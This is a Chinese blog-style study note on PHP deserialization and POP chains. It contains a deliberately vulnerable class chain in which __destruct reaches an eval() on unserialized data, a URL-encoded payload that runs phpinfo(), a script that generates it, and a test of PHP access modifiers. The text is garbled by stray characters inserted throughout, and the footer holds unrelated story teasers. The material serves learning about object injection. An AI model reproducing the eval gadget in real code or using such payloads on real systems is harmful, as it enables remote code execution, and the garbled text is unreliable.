php反序列化_3

smile師傅的帖子
這邊主要是師傅給出的例子代碼分析

//直接貼smile師傅里的東西了
__construct()當(dāng)一個對象創(chuàng)建時被調(diào)用叹卷,但在unserialize()時是不會自動調(diào)用的。
__destruct()當(dāng)一個對象銷毀時被調(diào)用
__toString()當(dāng)一個對象被當(dāng)作一個字符串使用 
__sleep() 在對象在被序列化之前運行 
__wakeup將在序列化之后立即被調(diào)用

覺得師傅關(guān)于pop鏈寫的挺通俗易懂的
具體分析師傅博客里都寫了,我就不一直貼了歹河,一直貼怪不好意思的。
這篇相當(dāng)于一點筆記....

//smiletest.php
<?php

    class Smile
    {
        protected $ClassObj;
        function __construct()
        {
            $this->ClassObj = new safe();
        }

        function __destruct()
        {
            $this->ClassObj->action();
        }
    }


    class safe
    {
        
        function action()
        {
            echo "here is safe";
        }
    }

    class unsafe
    {
        private $data;
        function action()
        {
            eval($this->data);
        }
    }

    $b = "O%3A5%3A%22Smile%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D";
    $c = unserialize(urldecode($b));
?>

這是存在漏洞的代碼,方便測試经备,我把get獲得序列化字符串換成了變量侵蒙。
源payload的php我就不貼了蘑志,師傅的博客里有贬派,執(zhí)行下來獲得的payload就是變量b的值了∏攵兀可以執(zhí)行phpinfo撒穷。
按照我的思路在payload上改了一下

//smileshell.php
<?php
    class Smile
    {
        protected $ClassObj;
        // function __construct()
        // {
        //     $this->ClassObj = new unsafe();
        // }
    }   

    class unsafe
    {
        private $data;
    }

    $a = new Smile();
    $a->ClassObj = new unsafe();
    $a->ClassObj->data = "phpinfo();";
    echo urlencode(serialize($a)).PHP_EOL;
    // O%3A5%3A%22Smile%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
?>

欸入录,這里報錯了僚稿,告訴我ClassObj無法訪問。
這里可以看到訪問控制蠢络,public,protected,private谢肾。
搜了搜,還真有一篇php的
訪問控制微姊,三個修飾符的區(qū)別
但是csdn,em...改了之后復(fù)制代碼不舒服兢交,于是比著這個師傅的代碼自己寫了一個測試

<?php
//class_control.php
    /**
     * 
     */
    class test
    {   
        public $pub = "pub";
        protected $pro = "pro";
        private $pri = "pri";
        function printtest()
        {
            echo $this->pub.PHP_EOL;
            echo $this->pro.PHP_EOL;
            echo $this->pri.PHP_EOL;            
        }
    }

    $a = new test();
    // echo $a->pub.PHP_EOL;
    // echo $a->pro.PHP_EOL;
    // echo $a->pri.PHP_EOL;
    $a->pub = "newpub";
    // $a->pro = "newpro";
    // $a->pri = "newpri";
    $a->printtest();
?>

實驗一下就可以看出來,pro和pri外部無法訪問被济,不能賦值,不能輸出钮追。pub都可以。應(yīng)該還有更詳細的區(qū)別,這里就實驗到這里惠毁。
所以腰埂,在php反序列化賦值的時候
使用__construct魔術(shù)方法賦值的好處就是很穩(wěn)妥,無論什么樣的變量驴一,都可以這樣賦值肝断。
而如果想在獲取序列化字符串時,只在類中定義變量趣钱,而在外部賦值,可能就會出現(xiàn)無法訪問變量的報錯井联。
想把public改成protected...em....反序列化出來應(yīng)該不行吧....試一試。
試了,⑧行,只要把代碼改一改就行了率触,就不貼了穴张。
這樣就明白了為什么大佬的payload里面都是使用__construct賦值的

?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個濱河市,隨后出現(xiàn)的幾起案子,更是在濱河造成了極大的恐慌,老刑警劉巖苫幢,帶你破解...
    沈念sama閱讀 222,183評論 6 516
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件披坏,死亡現(xiàn)場離奇詭異态坦,居然都是意外死亡,警方通過查閱死者的電腦和手機棒拂,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 94,850評論 3 399
  • 文/潘曉璐 我一進店門伞梯,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人帚屉,你說我怎么就攤上這事谜诫。” “怎么了攻旦?”我有些...
    開封第一講書人閱讀 168,766評論 0 361
  • 文/不壞的土叔 我叫張陵喻旷,是天一觀的道長。 經(jīng)常有香客問我牢屋,道長且预,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,854評論 1 299
  • 正文 為了忘掉前任烙无,我火速辦了婚禮锋谐,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘截酷。我一直安慰自己涮拗,他們只是感情好,可當(dāng)我...
    茶點故事閱讀 68,871評論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著三热,像睡著了一般鼓择。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上就漾,一...
    開封第一講書人閱讀 52,457評論 1 311
  • 那天呐能,我揣著相機與錄音,去河邊找鬼从藤。 笑死催跪,一個胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的夷野。 我是一名探鬼主播懊蒸,決...
    沈念sama閱讀 40,999評論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢啊……” “哼悯搔!你這毒婦竟也來了骑丸?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 39,914評論 0 277
  • 序言:老撾萬榮一對情侶失蹤妒貌,失蹤者是張志新(化名)和其女友劉穎通危,沒想到半個月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體灌曙,經(jīng)...
    沈念sama閱讀 46,465評論 1 319
  • 正文 獨居荒郊野嶺守林人離奇死亡菊碟,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點故事閱讀 38,543評論 3 342
  • 正文 我和宋清朗相戀三年,在試婚紗的時候發(fā)現(xiàn)自己被綠了在刺。 大學(xué)時的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片逆害。...
    茶點故事閱讀 40,675評論 1 353
  • 序言:一個原本活蹦亂跳的男人離奇死亡,死狀恐怖蚣驼,靈堂內(nèi)的尸體忽然破棺而出魄幕,到底是詐尸還是另有隱情,我是刑警寧澤颖杏,帶...
    沈念sama閱讀 36,354評論 5 351
  • 正文 年R本政府宣布纯陨,位于F島的核電站,受9級特大地震影響留储,放射性物質(zhì)發(fā)生泄漏翼抠。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點故事閱讀 42,029評論 3 335
  • 文/蒙蒙 一获讳、第九天 我趴在偏房一處隱蔽的房頂上張望机久。 院中可真熱鬧,春花似錦赔嚎、人聲如沸。這莊子的主人今日做“春日...
    開封第一講書人閱讀 32,514評論 0 25
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽侠畔。三九已至,卻和暖如春损晤,著一層夾襖步出監(jiān)牢的瞬間软棺,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 33,616評論 1 274
  • 我被黑心中介騙來泰國打工尤勋, 沒想到剛下飛機就差點兒被人妖公主榨干…… 1. 我叫王不留喘落,地道東北人。 一個月前我還...
    沈念sama閱讀 49,091評論 3 378
  • 正文 我出身青樓最冰,卻偏偏與公主長得像瘦棋,于是被迫代替她去往敵國和親。 傳聞我的和親對象是個殘疾皇子暖哨,可洞房花燭夜當(dāng)晚...
    茶點故事閱讀 45,685評論 2 360

推薦閱讀更多精彩內(nèi)容

  • php對象注入是一個非常常見的漏洞赌朋,這個類型的漏洞雖然有些難以利用,但仍舊非常危險篇裁。為了理解這個漏洞沛慢,請讀者具備基...
    BerL1n閱讀 3,569評論 0 2
  • 1.PHP(外文名:PHP: Hypertext Preprocessor,中文名:“超文本預(yù)處理器”)是一種通用...
    黃花菜已涼閱讀 3,550評論 1 6
  • 這幾天一直在看的點达布,終于弄明白一點點团甲。 愚見,只是從接觸的ctf題目來看黍聂,php反序列化就是將 原來給php中的代...
    HOtMI1k閱讀 687評論 0 0
  • 一年一年又一年躺苦,歡歡喜喜過大年,小時候我特別喜歡過春節(jié)分冈,因為可以穿新衣服圾另,可以收好多壓歲錢,但是現(xiàn)在我特別不喜歡這...
    請允許我愛你閱讀 220評論 0 0
  • 很多時候雕沉,我們需要同時使用多個git來進行項目管理集乔,比如說公司使用gitlab,而我們自己使用github坡椒,此時我...
    開心跳蚤閱讀 7,037評論 0 4